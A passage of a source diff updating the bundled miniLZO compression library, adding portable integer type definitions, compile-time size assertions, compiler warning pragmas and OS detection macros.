+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16e_t) == LZO_SIZEOF_LZO_INT16E_T)
+#endif
+#if !defined(lzo_int32e_t)
+#if (LZO_SIZEOF_LONG == 4)
+# define lzo_int32e_t long int
+# define lzo_uint32e_t unsigned long int
+#elif (LZO_SIZEOF_INT == 4)
+# define lzo_int32e_t int
+# define lzo_uint32e_t unsigned int
+#elif (LZO_SIZEOF_SHORT == 4)
+# define lzo_int32e_t short int
+# define lzo_uint32e_t unsigned short int
+#elif (LZO_SIZEOF_LONG_LONG == 4)
+# define lzo_int32e_t lzo_llong_t
+# define lzo_uint32e_t lzo_ullong_t
+#elif 1 && !(LZO_CFG_TYPE_NO_MODE_SI) && (LZO_CC_CLANG || (LZO_CC_GNUC >= 0x025f00ul) || LZO_CC_LLVM) && (__INT_MAX__+0 > 2147483647L)
+ typedef int lzo_int32e_si_t__ __attribute__((__mode__(__SI__)));
+ typedef unsigned int lzo_uint32e_si_t__ __attribute__((__mode__(__SI__)));
+# define lzo_int32e_t lzo_int32e_si_t__
+# define lzo_uint32e_t lzo_uint32e_si_t__
+#elif 1 && !(LZO_CFG_TYPE_NO_MODE_SI) && (LZO_CC_GNUC >= 0x025f00ul) && defined(__AVR__) && (__LONG_MAX__+0 == 32767L)
+ typedef int lzo_int32e_si_t__ __attribute__((__mode__(__SI__)));
+ typedef unsigned int lzo_uint32e_si_t__ __attribute__((__mode__(__SI__)));
+# define lzo_int32e_t lzo_int32e_si_t__
+# define lzo_uint32e_t lzo_uint32e_si_t__
+# define LZO_INT32_C(c) (c##LL)
+# define LZO_UINT32_C(c) (c##ULL)
+#elif (LZO_SIZEOF___INT32 == 4)
+# define lzo_int32e_t __int32
+# define lzo_uint32e_t unsigned __int32
+#else
+#endif
+#endif
+#if defined(lzo_int32e_t)
+# define LZO_SIZEOF_LZO_INT32E_T 4
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32e_t) == 4)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32e_t) == LZO_SIZEOF_LZO_INT32E_T)
+#endif
+#if !defined(lzo_int64e_t)
+#if (LZO_SIZEOF___INT64 == 8)
+# if (LZO_CC_BORLANDC) && !(LZO_CFG_TYPE_PREFER___INT64)
+# define LZO_CFG_TYPE_PREFER___INT64 1
+# endif
+#endif
+#if (LZO_SIZEOF_INT == 8) && (LZO_SIZEOF_INT < LZO_SIZEOF_LONG)
+# define lzo_int64e_t int
+# define lzo_uint64e_t unsigned int
+# define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF_INT
+#elif (LZO_SIZEOF_LONG == 8)
+# define lzo_int64e_t long int
+# define lzo_uint64e_t unsigned long int
+# define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF_LONG
+#elif (LZO_SIZEOF_LONG_LONG == 8) && !(LZO_CFG_TYPE_PREFER___INT64)
+# define lzo_int64e_t lzo_llong_t
+# define lzo_uint64e_t lzo_ullong_t
+# if (LZO_CC_BORLANDC)
+# define LZO_INT64_C(c) ((c) + 0ll)
+# define LZO_UINT64_C(c) ((c) + 0ull)
+# elif 0
+# define LZO_INT64_C(c) (__lzo_gnuc_extension__ (c##LL))
+# define LZO_UINT64_C(c) (__lzo_gnuc_extension__ (c##ULL))
+# else
+# define LZO_INT64_C(c) (c##LL)
+# define LZO_UINT64_C(c) (c##ULL)
+# endif
+# define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF_LONG_LONG
+#elif (LZO_SIZEOF___INT64 == 8)
+# define lzo_int64e_t __int64
+# define lzo_uint64e_t unsigned __int64
+# if (LZO_CC_BORLANDC)
+# define LZO_INT64_C(c) ((c) + 0i64)
+# define LZO_UINT64_C(c) ((c) + 0ui64)
+# else
+# define LZO_INT64_C(c) (c##i64)
+# define LZO_UINT64_C(c) (c##ui64)
+# endif
+# define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF___INT64
+#else
+#endif
+#endif
+#if defined(lzo_int64e_t)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64e_t) == 8)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64e_t) == LZO_SIZEOF_LZO_INT64E_T)
+#endif
+#if !defined(lzo_int32l_t)
+#if defined(lzo_int32e_t)
+# define lzo_int32l_t lzo_int32e_t
+# define lzo_uint32l_t lzo_uint32e_t
+# define LZO_SIZEOF_LZO_INT32L_T LZO_SIZEOF_LZO_INT32E_T
+#elif (LZO_SIZEOF_INT >= 4) && (LZO_SIZEOF_INT < LZO_SIZEOF_LONG)
+# define lzo_int32l_t int
+# define lzo_uint32l_t unsigned int
+# define LZO_SIZEOF_LZO_INT32L_T LZO_SIZEOF_INT
+#elif (LZO_SIZEOF_LONG >= 4)
+# define lzo_int32l_t long int
+# define lzo_uint32l_t unsigned long int
+# define LZO_SIZEOF_LZO_INT32L_T LZO_SIZEOF_LONG
+#else
+# error "lzo_int32l_t"
+#endif
+#endif
+#if 1
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32l_t) >= 4)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32l_t) == LZO_SIZEOF_LZO_INT32L_T)
+#endif
+#if !defined(lzo_int64l_t)
+#if defined(lzo_int64e_t)
+# define lzo_int64l_t lzo_int64e_t
+# define lzo_uint64l_t lzo_uint64e_t
+# define LZO_SIZEOF_LZO_INT64L_T LZO_SIZEOF_LZO_INT64E_T
+#else
+#endif
+#endif
+#if defined(lzo_int64l_t)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64l_t) >= 8)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64l_t) == LZO_SIZEOF_LZO_INT64L_T)
+#endif
+#if !defined(lzo_int32f_t)
+#if (LZO_SIZEOF_SIZE_T >= 8)
+# define lzo_int32f_t lzo_int64l_t
+# define lzo_uint32f_t lzo_uint64l_t
+# define LZO_SIZEOF_LZO_INT32F_T LZO_SIZEOF_LZO_INT64L_T
+#else
+# define lzo_int32f_t lzo_int32l_t
+# define lzo_uint32f_t lzo_uint32l_t
+# define LZO_SIZEOF_LZO_INT32F_T LZO_SIZEOF_LZO_INT32L_T
+#endif
+#endif
+#if 1
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32f_t) >= 4)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32f_t) == LZO_SIZEOF_LZO_INT32F_T)
+#endif
+#if !defined(lzo_int64f_t)
+#if defined(lzo_int64l_t)
+# define lzo_int64f_t lzo_int64l_t
+# define lzo_uint64f_t lzo_uint64l_t
+# define LZO_SIZEOF_LZO_INT64F_T LZO_SIZEOF_LZO_INT64L_T
+#else
+#endif
+#endif
+#if defined(lzo_int64f_t)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64f_t) >= 8)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64f_t) == LZO_SIZEOF_LZO_INT64F_T)
+#endif
+#if !defined(lzo_intptr_t)
+#if 1 && (LZO_OS_OS400 && (LZO_SIZEOF_VOID_P == 16))
+# define __LZO_INTPTR_T_IS_POINTER 1
+ typedef char* lzo_intptr_t;
+ typedef char* lzo_uintptr_t;
+# define lzo_intptr_t lzo_intptr_t
+# define lzo_uintptr_t lzo_uintptr_t
+# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_VOID_P
+#elif (LZO_CC_MSC && (_MSC_VER >= 1300) && (LZO_SIZEOF_VOID_P == 4) && (LZO_SIZEOF_INT == 4))
+ typedef __w64 int lzo_intptr_t;
+ typedef __w64 unsigned int lzo_uintptr_t;
+# define lzo_intptr_t lzo_intptr_t
+# define lzo_uintptr_t lzo_uintptr_t
+# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_INT
+#elif (LZO_SIZEOF_SHORT == LZO_SIZEOF_VOID_P) && (LZO_SIZEOF_INT > LZO_SIZEOF_VOID_P)
+# define lzo_intptr_t short
+# define lzo_uintptr_t unsigned short
+# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_SHORT
+#elif (LZO_SIZEOF_INT >= LZO_SIZEOF_VOID_P) && (LZO_SIZEOF_INT < LZO_SIZEOF_LONG)
+# define lzo_intptr_t int
+# define lzo_uintptr_t unsigned int
+# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_INT
+#elif (LZO_SIZEOF_LONG >= LZO_SIZEOF_VOID_P)
+# define lzo_intptr_t long
+# define lzo_uintptr_t unsigned long
+# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_LONG
+#elif (LZO_SIZEOF_LZO_INT64L_T >= LZO_SIZEOF_VOID_P)
+# define lzo_intptr_t lzo_int64l_t
+# define lzo_uintptr_t lzo_uint64l_t
+# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_LZO_INT64L_T
+#else
+# error "lzo_intptr_t"
+#endif
+#endif
+#if 1
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_intptr_t) >= sizeof(void *))
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_intptr_t) == sizeof(lzo_uintptr_t))
+#endif
+#if !defined(lzo_word_t)
+#if defined(LZO_WORDSIZE) && (LZO_WORDSIZE+0 > 0)
+#if (LZO_WORDSIZE == LZO_SIZEOF_LZO_INTPTR_T) && !(__LZO_INTPTR_T_IS_POINTER)
+# define lzo_word_t lzo_uintptr_t
+# define lzo_sword_t lzo_intptr_t
+# define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_LZO_INTPTR_T
+#elif (LZO_WORDSIZE == LZO_SIZEOF_LONG)
+# define lzo_word_t unsigned long
+# define lzo_sword_t long
+# define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_LONG
+#elif (LZO_WORDSIZE == LZO_SIZEOF_INT)
+# define lzo_word_t unsigned int
+# define lzo_sword_t int
+# define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_INT
+#elif (LZO_WORDSIZE == LZO_SIZEOF_SHORT)
+# define lzo_word_t unsigned short
+# define lzo_sword_t short
+# define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_SHORT
+#elif (LZO_WORDSIZE == 1)
+# define lzo_word_t unsigned char
+# define lzo_sword_t signed char
+# define LZO_SIZEOF_LZO_WORD_T 1
+#elif (LZO_WORDSIZE == LZO_SIZEOF_LZO_INT64L_T)
+# define lzo_word_t lzo_uint64l_t
+# define lzo_sword_t lzo_int64l_t
+# define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_LZO_INT64L_T
+#elif (LZO_ARCH_SPU) && (LZO_CC_GNUC)
+#if 0
+ typedef unsigned lzo_word_t __attribute__((__mode__(__V16QI__)));
+ typedef int lzo_sword_t __attribute__((__mode__(__V16QI__)));
+# define lzo_word_t lzo_word_t
+# define lzo_sword_t lzo_sword_t
+# define LZO_SIZEOF_LZO_WORD_T 16
+#endif
+#else
+# error "lzo_word_t"
+#endif
+#endif
+#endif
+#if 1 && defined(lzo_word_t)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_word_t) == LZO_WORDSIZE)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_sword_t) == LZO_WORDSIZE)
+#endif
+#if 1
+#define lzo_int8_t signed char
+#define lzo_uint8_t unsigned char
+#define LZO_SIZEOF_LZO_INT8_T 1
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int8_t) == 1)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int8_t) == sizeof(lzo_uint8_t))
+#endif
+#if defined(lzo_int16e_t)
+#define lzo_int16_t lzo_int16e_t
+#define lzo_uint16_t lzo_uint16e_t
+#define LZO_SIZEOF_LZO_INT16_T LZO_SIZEOF_LZO_INT16E_T
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16_t) == 2)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16_t) == sizeof(lzo_uint16_t))
+#endif
+#if defined(lzo_int32e_t)
+#define lzo_int32_t lzo_int32e_t
+#define lzo_uint32_t lzo_uint32e_t
+#define LZO_SIZEOF_LZO_INT32_T LZO_SIZEOF_LZO_INT32E_T
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32_t) == 4)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32_t) == sizeof(lzo_uint32_t))
+#endif
+#if defined(lzo_int64e_t)
+#define lzo_int64_t lzo_int64e_t
+#define lzo_uint64_t lzo_uint64e_t
+#define LZO_SIZEOF_LZO_INT64_T LZO_SIZEOF_LZO_INT64E_T
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64_t) == 8)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64_t) == sizeof(lzo_uint64_t))
+#endif
+#if 1
+#define lzo_int_least32_t lzo_int32l_t
+#define lzo_uint_least32_t lzo_uint32l_t
+#define LZO_SIZEOF_LZO_INT_LEAST32_T LZO_SIZEOF_LZO_INT32L_T
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least32_t) >= 4)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least32_t) == sizeof(lzo_uint_least32_t))
+#endif
+#if defined(lzo_int64l_t)
+#define lzo_int_least64_t lzo_int64l_t
+#define lzo_uint_least64_t lzo_uint64l_t
+#define LZO_SIZEOF_LZO_INT_LEAST64_T LZO_SIZEOF_LZO_INT64L_T
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least64_t) >= 8)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least64_t) == sizeof(lzo_uint_least64_t))
+#endif
+#if 1
+#define lzo_int_fast32_t lzo_int32f_t
+#define lzo_uint_fast32_t lzo_uint32f_t
+#define LZO_SIZEOF_LZO_INT_FAST32_T LZO_SIZEOF_LZO_INT32F_T
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast32_t) >= 4)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast32_t) == sizeof(lzo_uint_fast32_t))
+#endif
+#if defined(lzo_int64f_t)
+#define lzo_int_fast64_t lzo_int64f_t
+#define lzo_uint_fast64_t lzo_uint64f_t
+#define LZO_SIZEOF_LZO_INT_FAST64_T LZO_SIZEOF_LZO_INT64F_T
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast64_t) >= 8)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast64_t) == sizeof(lzo_uint_fast64_t))
+#endif
+#if !defined(LZO_INT16_C)
+# if (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_INT >= 2)
+# define LZO_INT16_C(c) ((c) + 0)
+# define LZO_UINT16_C(c) ((c) + 0U)
+# elif (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_LONG >= 2)
+# define LZO_INT16_C(c) ((c) + 0L)
+# define LZO_UINT16_C(c) ((c) + 0UL)
+# elif (LZO_SIZEOF_INT >= 2)
+# define LZO_INT16_C(c) (c)
+# define LZO_UINT16_C(c) (c##U)
+# elif (LZO_SIZEOF_LONG >= 2)
+# define LZO_INT16_C(c) (c##L)
+# define LZO_UINT16_C(c) (c##UL)
+# else
+# error "LZO_INT16_C"
+# endif
+#endif
+#if !defined(LZO_INT32_C)
+# if (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_INT >= 4)
+# define LZO_INT32_C(c) ((c) + 0)
+# define LZO_UINT32_C(c) ((c) + 0U)
+# elif (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_LONG >= 4)
+# define LZO_INT32_C(c) ((c) + 0L)
+# define LZO_UINT32_C(c) ((c) + 0UL)
+# elif (LZO_SIZEOF_INT >= 4)
+# define LZO_INT32_C(c) (c)
+# define LZO_UINT32_C(c) (c##U)
+# elif (LZO_SIZEOF_LONG >= 4)
+# define LZO_INT32_C(c) (c##L)
+# define LZO_UINT32_C(c) (c##UL)
+# elif (LZO_SIZEOF_LONG_LONG >= 4)
+# define LZO_INT32_C(c) (c##LL)
+# define LZO_UINT32_C(c) (c##ULL)
+# else
+# error "LZO_INT32_C"
+# endif
+#endif
+#if !defined(LZO_INT64_C) && defined(lzo_int64l_t)
+# if (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_INT >= 8)
+# define LZO_INT64_C(c) ((c) + 0)
+# define LZO_UINT64_C(c) ((c) + 0U)
+# elif (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_LONG >= 8)
+# define LZO_INT64_C(c) ((c) + 0L)
+# define LZO_UINT64_C(c) ((c) + 0UL)
+# elif (LZO_SIZEOF_INT >= 8)
+# define LZO_INT64_C(c) (c)
+# define LZO_UINT64_C(c) (c##U)
+# elif (LZO_SIZEOF_LONG >= 8)
+# define LZO_INT64_C(c) (c##L)
+# define LZO_UINT64_C(c) (c##UL)
+# else
+# error "LZO_INT64_C"
+# endif
+#endif
+#endif
#endif /* already included */
-/* vim:set ts=4 et: */
+/* vim:set ts=4 sw=4 et: */
diff --git a/common/minilzo.c b/common/minilzo.c
index 6ae8d73..2651317 100644
--- a/common/minilzo.c
+++ b/common/minilzo.c
@@ -2,21 +2,7 @@
This file is part of the LZO real-time data compression library.
- Copyright (C) 2010 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2009 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2008 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2007 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2006 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2005 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2004 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2003 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2002 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2001 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2000 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 1999 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 1998 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 1997 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 1996 Markus Franz Xaver Johannes Oberhumer
+ Copyright (C) 1996-2014 Markus Franz Xaver Johannes Oberhumer
All Rights Reserved.
The LZO library is free software; you can redistribute it and/or
@@ -66,12 +52,6 @@
#if defined(__CYGWIN32__) && !defined(__CYGWIN__)
# define __CYGWIN__ __CYGWIN32__
#endif
-#if defined(__IBMCPP__) && !defined(__IBMC__)
-# define __IBMC__ __IBMCPP__
-#endif
-#if defined(__ICL) && defined(_WIN32) && !defined(__INTEL_COMPILER)
-# define __INTEL_COMPILER __ICL
-#endif
#if 1 && defined(__INTERIX) && defined(__GNUC__) && !defined(_ALL_SOURCE)
# define _ALL_SOURCE 1
#endif
@@ -80,19 +60,30 @@
# define __LONG_MAX__ 9223372036854775807L
# endif
#endif
-#if defined(__INTEL_COMPILER) && defined(__linux__)
+#if !defined(LZO_CFG_NO_DISABLE_WUNDEF)
+#if defined(__ARMCC_VERSION)
+# pragma diag_suppress 193
+#elif defined(__clang__) && defined(__clang_minor__)
+# pragma clang diagnostic ignored "-Wundef"
+#elif defined(__INTEL_COMPILER)
# pragma warning(disable: 193)
-#endif
-#if defined(__KEIL__) && defined(__C166__)
+#elif defined(__KEIL__) && defined(__C166__)
# pragma warning disable = 322
-#elif 0 && defined(__C251__)
-# pragma warning disable = 322
-#endif
-#if defined(_MSC_VER) && !defined(__INTEL_COMPILER) && !defined(__MWERKS__)
-# if (_MSC_VER >= 1300)
+#elif defined(__GNUC__) && defined(__GNUC_MINOR__) && !defined(__PATHSCALE__)
+# if ((__GNUC__-0) >= 5 || ((__GNUC__-0) == 4 && (__GNUC_MINOR__-0) >= 2))
+# pragma GCC diagnostic ignored "-Wundef"
+# endif
+#elif defined(_MSC_VER) && !defined(__clang__) && !defined(__INTEL_COMPILER) && !defined(__MWERKS__)
+# if ((_MSC_VER-0) >= 1300)
# pragma warning(disable: 4668)
# endif
#endif
+#endif
+#if 0 && defined(__POCC__) && defined(_WIN32)
+# if (__POCC__ >= 400)
+# pragma warn(disable: 2216)
+# endif
+#endif
#if 0 && defined(__WATCOMC__)
# if (__WATCOMC__ >= 1050) && (__WATCOMC__ < 1060)
# pragma warning 203 9
@@ -101,13 +92,29 @@
#if defined(__BORLANDC__) && defined(__MSDOS__) && !defined(__FLAT__)
# pragma option -h
#endif
-#if 0
-#define LZO_0xffffL 0xfffful
-#define LZO_0xffffffffL 0xfffffffful
-#else
-#define LZO_0xffffL 65535ul
-#define LZO_0xffffffffL 4294967295ul
+#if !(LZO_CFG_NO_DISABLE_WCRTNONSTDC)
+#ifndef _CRT_NONSTDC_NO_DEPRECATE
+#define _CRT_NONSTDC_NO_DEPRECATE 1
#endif
+#ifndef _CRT_NONSTDC_NO_WARNINGS
+#define _CRT_NONSTDC_NO_WARNINGS 1
+#endif
+#ifndef _CRT_SECURE_NO_DEPRECATE
+#define _CRT_SECURE_NO_DEPRECATE 1
+#endif
+#ifndef _CRT_SECURE_NO_WARNINGS
+#define _CRT_SECURE_NO_WARNINGS 1
+#endif
+#endif
+#if 0
+#define LZO_0xffffUL 0xfffful
+#define LZO_0xffffffffUL 0xfffffffful
+#else
+#define LZO_0xffffUL 65535ul
+#define LZO_0xffffffffUL 4294967295ul
+#endif
+#define LZO_0xffffL LZO_0xffffUL
+#define LZO_0xffffffffL LZO_0xffffffffUL
#if (LZO_0xffffL == LZO_0xffffffffL)
# error "your preprocessor is broken 1"
#endif
@@ -122,6 +129,13 @@
# error "your preprocessor is broken 4"
#endif
#endif
+#if defined(__COUNTER__)
+# ifndef LZO_CFG_USE_COUNTER
+# define LZO_CFG_USE_COUNTER 1
+# endif
+#else
+# undef LZO_CFG_USE_COUNTER
+#endif
#if (UINT_MAX == LZO_0xffffL)
#if defined(__ZTC__) && defined(__I86__) && !defined(__OS2__)
# if !defined(MSDOS)
@@ -252,14 +266,31 @@
#endif
#define LZO_PP_STRINGIZE(x) #x
#define LZO_PP_MACRO_EXPAND(x) LZO_PP_STRINGIZE(x)
+#define LZO_PP_CONCAT0() /*empty*/
+#define LZO_PP_CONCAT1(a) a
#define LZO_PP_CONCAT2(a,b) a ## b
#define LZO_PP_CONCAT3(a,b,c) a ## b ## c
#define LZO_PP_CONCAT4(a,b,c,d) a ## b ## c ## d
#define LZO_PP_CONCAT5(a,b,c,d,e) a ## b ## c ## d ## e
+#define LZO_PP_CONCAT6(a,b,c,d,e,f) a ## b ## c ## d ## e ## f
+#define LZO_PP_CONCAT7(a,b,c,d,e,f,g) a ## b ## c ## d ## e ## f ## g
+#define LZO_PP_ECONCAT0() LZO_PP_CONCAT0()
+#define LZO_PP_ECONCAT1(a) LZO_PP_CONCAT1(a)
#define LZO_PP_ECONCAT2(a,b) LZO_PP_CONCAT2(a,b)
#define LZO_PP_ECONCAT3(a,b,c) LZO_PP_CONCAT3(a,b,c)
#define LZO_PP_ECONCAT4(a,b,c,d) LZO_PP_CONCAT4(a,b,c,d)
#define LZO_PP_ECONCAT5(a,b,c,d,e) LZO_PP_CONCAT5(a,b,c,d,e)
+#define LZO_PP_ECONCAT6(a,b,c,d,e,f) LZO_PP_CONCAT6(a,b,c,d,e,f)
+#define LZO_PP_ECONCAT7(a,b,c,d,e,f,g) LZO_PP_CONCAT7(a,b,c,d,e,f,g)
+#define LZO_PP_EMPTY /*empty*/
+#define LZO_PP_EMPTY0() /*empty*/
+#define LZO_PP_EMPTY1(a) /*empty*/
+#define LZO_PP_EMPTY2(a,b) /*empty*/
+#define LZO_PP_EMPTY3(a,b,c) /*empty*/
+#define LZO_PP_EMPTY4(a,b,c,d) /*empty*/
+#define LZO_PP_EMPTY5(a,b,c,d,e) /*empty*/
+#define LZO_PP_EMPTY6(a,b,c,d,e,f) /*empty*/
+#define LZO_PP_EMPTY7(a,b,c,d,e,f,g) /*empty*/
#if 1
#define LZO_CPP_STRINGIZE(x) #x
#define LZO_CPP_MACRO_EXPAND(x) LZO_CPP_STRINGIZE(x)
@@ -267,12 +298,16 @@
#define LZO_CPP_CONCAT3(a,b,c) a ## b ## c
#define LZO_CPP_CONCAT4(a,b,c,d) a ## b ## c ## d
#define LZO_CPP_CONCAT5(a,b,c,d,e) a ## b ## c ## d ## e
+#define LZO_CPP_CONCAT6(a,b,c,d,e,f) a ## b ## c ## d ## e ## f
+#define LZO_CPP_CONCAT7(a,b,c,d,e,f,g) a ## b ## c ## d ## e ## f ## g
#define LZO_CPP_ECONCAT2(a,b) LZO_CPP_CONCAT2(a,b)
#define LZO_CPP_ECONCAT3(a,b,c) LZO_CPP_CONCAT3(a,b,c)
#define LZO_CPP_ECONCAT4(a,b,c,d) LZO_CPP_CONCAT4(a,b,c,d)
#define LZO_CPP_ECONCAT5(a,b,c,d,e) LZO_CPP_CONCAT5(a,b,c,d,e)
+#define LZO_CPP_ECONCAT6(a,b,c,d,e,f) LZO_CPP_CONCAT6(a,b,c,d,e,f)
+#define LZO_CPP_ECONCAT7(a,b,c,d,e,f,g) LZO_CPP_CONCAT7(a,b,c,d,e,f,g)
#endif
-#define __LZO_MASK_GEN(o,b) (((((o) << ((b)-1)) - (o)) << 1) + (o))
+#define __LZO_MASK_GEN(o,b) (((((o) << ((b)-!!(b))) - (o)) << 1) + (o)*!!(b))
#if 1 && defined(__cplusplus)
# if !defined(__STDC_CONSTANT_MACROS)
# define __STDC_CONSTANT_MACROS 1
@@ -282,9 +317,13 @@
# endif
#endif
#if defined(__cplusplus)
-# define LZO_EXTERN_C extern "C"
+# define LZO_EXTERN_C extern "C"
+# define LZO_EXTERN_C_BEGIN extern "C" {
+# define LZO_EXTERN_C_END }
#else
-# define LZO_EXTERN_C extern
+# define LZO_EXTERN_C extern
+# define LZO_EXTERN_C_BEGIN /*empty*/
+# define LZO_EXTERN_C_END /*empty*/
#endif
#if !defined(__LZO_OS_OVERRIDE)
#if (LZO_OS_FREESTANDING)
@@ -385,12 +424,12 @@
#elif defined(__VMS)
# define LZO_OS_VMS 1
# define LZO_INFO_OS "vms"
-#elif ((defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__))
+#elif (defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__)
# define LZO_OS_CONSOLE 1
# define LZO_OS_CONSOLE_PS2 1
# define LZO_INFO_OS "console"
# define LZO_INFO_OS_CONSOLE "ps2"
-#elif (defined(__mips__) && defined(__psp__))
+#elif defined(__mips__) && defined(__psp__)
# define LZO_OS_CONSOLE 1
# define LZO_OS_CONSOLE_PSP 1
# define LZO_INFO_OS "console"
@@ -418,9 +457,18 @@
# elif defined(__linux__) || defined(__linux) || defined(__LINUX__)
# define LZO_OS_POSIX_LINUX 1
# define LZO_INFO_OS_POSIX "linux"
-# elif defined(__APPLE__) || defined(__MACOS__)
-# define LZO_OS_POSIX_MACOSX 1
-# define LZO_INFO_OS_POSIX "macosx"
+# elif defined(__APPLE__) && defined(__MACH__)
+# if ((__ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__-0) >= 20000)
+# define LZO_OS_POSIX_DARWIN 1040
+# define LZO_INFO_OS_POSIX "darwin_iphone"
+# elif ((__ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__-0) >= 1040)
+# define LZO_OS_POSIX_DARWIN __ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__
+# define LZO_INFO_OS_POSIX "darwin"
+# else
+# define LZO_OS_POSIX_DARWIN 1
+# define LZO_INFO_OS_POSIX "darwin"
+# endif
+# define LZO_OS_POSIX_MACOSX LZO_OS_POSIX_DARWIN
# elif defined(__minix__) || defined(__minix)
# define LZO_OS_POSIX_MINIX 1
# define LZO_INFO_OS_POSIX "minix"
@@ -455,18 +503,18 @@
#endif
#if (LZO_OS_DOS16 || LZO_OS_OS216 || LZO_OS_WIN16)
# if (UINT_MAX != LZO_0xffffL)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# endif
# if (ULONG_MAX != LZO_0xffffffffL)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# endif
#endif
#if (LZO_OS_DOS32 || LZO_OS_OS2 || LZO_OS_WIN32 || LZO_OS_WIN64)
# if (UINT_MAX != LZO_0xffffffffL)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# endif
# if (ULONG_MAX != LZO_0xffffffffL)
-# error "this should not happen"
+# error "unexpected configuration - check your compiler defines"
# endif
#endif
#if defined(CIL) && defined(_GNUCC) && defined(__GNUC__)
@@ -482,59 +530,65 @@
# define LZO_INFO_CC "sdcc"
# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(SDCC)
#elif defined(__PATHSCALE__) && defined(__PATHCC_PATCHLEVEL__)
-# define LZO_CC_PATHSCALE (__PATHCC__ * 0x10000L + __PATHCC_MINOR__ * 0x100 + __PATHCC_PATCHLEVEL__)
+# define LZO_CC_PATHSCALE (__PATHCC__ * 0x10000L + (__PATHCC_MINOR__-0) * 0x100 + (__PATHCC_PATCHLEVEL__-0))
# define LZO_INFO_CC "Pathscale C"
# define LZO_INFO_CCVER __PATHSCALE__
-#elif defined(__INTEL_COMPILER)
-# define LZO_CC_INTELC 1
+# if defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__)
